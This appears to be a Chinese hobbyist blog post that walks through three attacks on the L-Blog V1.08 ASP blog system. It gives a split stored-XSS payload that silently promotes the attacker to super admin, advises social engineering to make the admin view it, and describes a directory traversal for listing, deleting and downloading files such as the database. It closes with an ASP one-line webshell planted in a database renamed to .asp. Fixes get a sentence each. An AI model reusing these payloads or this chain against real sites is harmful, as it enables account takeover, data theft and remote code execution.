L-Blog是由 Loveyuki 自主開發(fā)的基于 ASP+Access 的小型單用戶BLOG,好像網(wǎng)上用的比較多,主要是免費(fèi)的(呵呵,向Loveyuki致敬)。昨天寢室斷網(wǎng)了,閑著沒事干,就把以前下載的L-Blog V1.08 (SE) Final版本拿來看,結(jié)果還真發(fā)現(xiàn)了幾個(gè)問題。
1、L-Blog Cross-Site Scripting Vulnerability
這是個(gè)跨站漏洞,好像HaK_BaN很早就發(fā)現(xiàn)并通知了官方,所以問題已經(jīng)修復(fù)。但是我下的那個(gè)版本卻存在,所以還是要寫出來J
問題存在于申請(qǐng)友情鏈接那里,對(duì)提交的網(wǎng)站名稱沒有進(jìn)行HTML編碼就直接寫入數(shù)據(jù)庫,管理員瀏覽讀出的時(shí)候也沒有進(jìn)行編碼,造成跨站腳本漏洞。
怎么利用呢,盜管理員Cookies?太麻煩,其實(shí)可以直接用javascript把頁面轉(zhuǎn)向到提升一般用戶為超級(jí)管理員的鏈接。
呵呵,那就注冊(cè)個(gè)帳號(hào)先,然后記住帳號(hào)的id,然后構(gòu)造語句咯。
先看看把一般用戶提升成超級(jí)管理員的鏈接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我們可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>達(dá)到轉(zhuǎn)向的目的。參數(shù)memID就是你要提升權(quán)限的用戶id,這里我的id是2。
且慢,這里有兩個(gè)問題,第一是數(shù)據(jù)庫Blog_links表里的Link_Name字段最多放50個(gè)字符;第二是如果轉(zhuǎn)向管理員會(huì)發(fā)現(xiàn)不對(duì)勁哦。所以要用拆分字符分次提交,而且使用框架讓管理員看不到。
算了一下,至少要分四次提交,看exploit:
<script>a="<iframe src=admincp.asp?actio"</script>
<script>a+="n=member&type=editmem&memID="</script>
<script>a+="2&memType=SupAdmin width="</script>
<script>a+="0 height=0>";document.write(a);</script>
呵呵,然后就等著管理員去看鏈接驗(yàn)證咯。要是等不及了可以想辦法讓他去看,看你的社會(huì)工程學(xué)水平了。
漏洞修補(bǔ)問題,最簡單就是去官方下補(bǔ)丁。
2、L-Blog File List / Delete with SuperAdmin Vulnerability
通過前面的漏洞我們可以成為blog管理員,現(xiàn)在我們得想辦法拿webshell啊。呵呵,這個(gè)時(shí)候用這個(gè)漏洞最好不過了。好像還沒人公布的說。
在附件管理選瀏覽all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿問題就出在參數(shù)foldername,沒有過濾.和/,那就可以跨目錄的哦。用這個(gè)url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么樣,blog根目錄文件出來了,可以隨便刪除文件的哦。
利用這個(gè)漏洞我們可以任意查看網(wǎng)站各目錄的文件,不過你要猜到文件夾才能瀏覽,L-Blog的數(shù)據(jù)庫放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata
如果它的數(shù)據(jù)庫是mdb,那就下載之,如果改成了asp/asa,那就請(qǐng)你看第三個(gè)漏洞哈。
這個(gè)漏洞的修復(fù)就是修改文件admincp.asp,只要把變量Request.QueryString("filename")里的“.”過濾就行了。
3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability
L-Blog的默認(rèn)數(shù)據(jù)庫名字是L-Blog.mdb,但是很多站長應(yīng)該會(huì)改名稱和后綴,一般改為asp或者asa,呵呵,如果改了,那站就完咯。
L-Blog.mdb里面有一個(gè)貌似防下載的表aNotDownload,其實(shí)一點(diǎn)用都沒有,就算你改了后綴照樣可下載。當(dāng)然不去下載它,我是要拿webshell。
現(xiàn)在就要向數(shù)據(jù)庫寫小馬咯。
隨便找個(gè)沒有過濾html編碼的地方,就找修改一般設(shè)置,Blog名稱,填<%execute(request("x"))%>,然后再訪問數(shù)據(jù)庫,看看是不是有類型不匹配錯(cuò)誤,ok,搞定!
漏洞的修復(fù)也簡單,隨便找個(gè)動(dòng)網(wǎng)的數(shù)據(jù)庫,找到notdown表導(dǎo)出到L-Blog的數(shù)據(jù)庫中,呵呵,然后你再訪問數(shù)據(jù)庫試試。世界清靜了……